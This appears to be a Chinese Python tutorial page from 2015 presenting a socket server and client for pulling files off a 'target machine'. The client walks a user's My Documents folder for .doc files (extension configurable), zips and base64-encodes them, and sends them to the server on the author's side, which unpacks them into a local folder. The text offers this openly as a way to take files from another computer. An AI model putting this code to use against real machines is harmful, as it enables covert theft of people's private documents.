python实现获取客户机上指定文件并传输到服务器的方法


Posted in Python onMarch 16, 2015

本文实例讲述了python实现获取客户机上指定文件并传输到服务器的方法。分享给大家供大家参考。具体分析如下:

该程序实现了,把目标机器的某个目录(可控)的所有的某种类型文件(可控)全部获取并传到己方的机器上。

1、用了base64的encode(infile,outfile)加密,以及decode(infile,outfile)解密,这是2进制加密解密
2、用zip压缩
3、socket中server.py放到自己这方python server.py,然后client.py放到目标机器,然后python client.py即可
4、本程序设置了获取doc文件,修改extName可以获取其它类型文件

服务器端程序:

# -*- coding: cp936 -*-

import socket

import win32com.client

import os

import zipfile

import codecs

import base64

def main():

    HOST = '127.0.0.1'

    PORT = 2000

    BUF_SIZE = 6553500 #6M

    key = 'ouyang'

    timeout = 5

    dicName = "ouyang\\"

    ss = socket.socket(socket.AF_INET,socket.SOCK_STREAM)

    try:

        ss.bind((HOST,PORT))

        ss.listen(5)

        print "wating for conntecting..."

        while True:

            try:

                cs,addr = ss.accept()

                socket.setdefaulttimeout(timeout)

                cs.send("200 Connected!")

                #获取加密数据

                encode_data = cs.recv(BUF_SIZE)

                #把数据写到out.zip文件

                tmpfile = open('out.tmp','wb')

                try:

                    tmpfile.write(encode_data)

                    tmpfile.close()

                except IOError,e:

                    print 'Strange error creating IOError:%s' % e  

                    tmpfile.close()

                finally:

                    tmpfile.close()

                #base64 decode 2进制 解密 decode(infile,outfile)

                tmpfile = open('out.tmp','rb')

                outfile = open('out.zip','wb')

                base64.decode(tmpfile,outfile)

                tmpfile.close()

                outfile.close()

                #打开zip文件

                zfile = zipfile.ZipFile('out.zip','r')

                #创建一个文件夹来存放获取的zip文件

                if not os.path.exists(dicName):

                    os.mkdir(dicName)

                for f in zfile.namelist():

                    data = zfile.read(f)

                    file = open(dicName+os.path.basename(f),'w+b')

                    file.write(data)

                    file.close()

                print "finished!!!"

                zfile.close()

                #后续处理 删除临时文件

                os.remove('out.tmp')

                cs.close()

            except socket.error, e:  

                print 'Strange error creating socket:%s' % e  

                cs.close()

        ss.close()

    except socket.error, e:

        print 'Strange error creating socket:%s' % e  

        ss.close()

if __name__=='__main__':

    main()

客户端程序:

# -*- coding: cp936 -*-

import socket

import win32com.client

import win32api

import os

import time

import zipfile

import codecs

import base64

def walk_dir(dir,filelist,extName,topdown=True):

    for root, dirs, files in os.walk(dir, topdown):

        for name in files:

            if (os.path.splitext(os.path.join(root,name)))[-1] == extName:

                filelist.append(os.path.join(root,name))      

        for name in dirs:

            if (os.path.splitext(os.path.join(root,name)))[-1] == extName:

                filelist.append(os.path.join(root,name))

def main():       

    HOST = '127.0.0.1'

    PORT = 2000

    BUF_SIZE = 65535

    key = 'ouyang'

    dicName = "C:\Documents and Settings\Administrator\我的文档"

    extName = '.doc'

    #遍历搜索我的文档的doc类型

    try:

        filelist = []

        walk_dir(dicName,filelist,extName)

    except IOError,e:

        print "文件处理错误: " % e

        sys.exit(-1)

    cs = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 

    try:

        cs.connect((HOST,PORT))

        print cs.recv(BUF_SIZE)

        #压缩成zip文件

        zfile = zipfile.ZipFile('in.zip','w',zipfile.ZIP_DEFLATED)

        for f in filelist:

            zfile.write(f)

        zfile.close()

        #base 2进制 加密 encode(infile,outfile)

        infile = open('in.zip','rb')

        tmpfile = open('in.tmp','wb')

        base64.encode(infile,tmpfile)

        infile.close()

        tmpfile.close()

        #send

        tmpfile = open('in.tmp','rb')

        cs.send(tmpfile.read())

        tmpfile.close()

        #后续处理 删除中间文件

        os.remove('in.tmp')

        cs.close()

    except socket.error ,e:

        print 'socket 出错啦:' % e

        cs.close()

if __name__=='__main__':

    main()

希望本文所述对大家的Python程序设计有所帮助。

Python 相关文章推荐
简单讲解Python编程中namedtuple类的用法
Jun 21 Python
Python实现excel转sqlite的方法
Jul 17 Python
Python最火、R极具潜力 2017机器学习调查报告
Dec 11 Python
用 Python 连接 MySQL 的几种方式详解
Apr 04 Python
python实现列表中由数值查到索引的方法
Jun 27 Python
解决nohup执行python程序log文件写入不及时的问题
Jan 14 Python
详解PyCharm+QTDesigner+PyUIC使用教程
Jun 13 Python
树莓派用python中的OpenCV输出USB摄像头画面
Jun 22 Python
Pandas之MultiIndex对象的示例详解
Jun 25 Python
Python 实用技巧之利用Shell通配符做字符串匹配
Aug 23 Python
python3下pygame如何实现显示中文
Jan 11 Python
python无序链表删除重复项的方法
Jan 17 Python
python提取内容关键词的方法
Mar 16 #Python
python生成随机mac地址的方法
Mar 16 #Python
python通过线程实现定时器timer的方法
Mar 16 #Python
python每隔N秒运行指定函数的方法
Mar 16 #Python
python实现登陆知乎获得个人收藏并保存为word文件
Mar 16 #Python
Python标准库urllib2的一些使用细节总结
Mar 16 #Python
python实现查询苹果手机维修进度
Mar 16 #Python
You might like
自己动手,丰衣足食 - 短波框形天线制作
2021/03/01 无线电
PHP5中新增stdClass 内部保留类
2011/06/13 PHP
浅谈PHP中的数据传输CURL
2016/09/06 PHP
PHP笛卡尔积实现原理及代码实例
2020/12/09 PHP
一些常用的JS功能函数代码
2009/06/23 Javascript
让 JavaScript 轻松支持函数重载 (Part 2 - 实现)
2009/08/04 Javascript
cloudgamer出品ImageZoom 图片放大效果
2010/04/01 Javascript
实现checkbox全选、反选、取消JavaScript小脚本异常
2014/04/10 Javascript
js操作输入框中选择内容兼容IE及其他主流浏览器
2014/04/22 Javascript
jquery实现勾选复选框触发事件给input赋值
2015/02/01 Javascript
Javascript动画效果(3)
2016/10/11 Javascript
jQuery 1.9版本以上的浏览器判断方法代码分享
2017/08/28 jQuery
React如何利用相对于根目录进行引用组件详解
2017/10/09 Javascript
mpvue项目中使用第三方UI组件库的方法
2018/09/30 Javascript
微信小程序停止其他视频播放当前视频的实例代码
2019/12/25 Javascript
一份python入门应该看的学习资料
2018/04/11 Python
python语音识别实践之百度语音API
2018/08/30 Python
Python目录和文件处理总结详解
2019/09/02 Python
Pytest框架之fixture的详细使用教程
2020/04/07 Python
Python使用shutil模块实现文件拷贝
2020/07/31 Python
详解pycharm自动import所需的库的操作方法
2020/11/30 Python
python使用matplotlib的savefig保存时图片保存不完整的问题
2021/01/08 Python
html5 CSS过度-webkit-transition使用介绍
2013/07/02 HTML / CSS
GoPro摄像机美国官网:美国运动相机厂商
2018/07/03 全球购物
Timberland澳大利亚官网:全球领先的户外品牌
2019/12/10 全球购物
新奥尔良珠宝:Mignon Faget
2020/11/23 全球购物
精伦电子Java笔试题
2013/01/16 面试题
写一个函数返回1+2+3+…+n的值(假定结果不会超过长整型变量的范围)
2014/09/05 面试题
幼师自荐信范文
2013/10/06 职场文书
关于圣诞节的广播稿
2014/01/26 职场文书
大学毕业生求职自荐书
2014/06/05 职场文书
顶岗实习计划书
2015/01/16 职场文书
交通安全温馨提示语
2015/07/14 职场文书
2016年优秀少先队员事迹材料
2016/02/26 职场文书
优秀家长事迹材料(2016推荐版)
2016/02/29 职场文书
《传颂之物 虚伪的假面》BD发售宣传CM公开
2022/04/04 日漫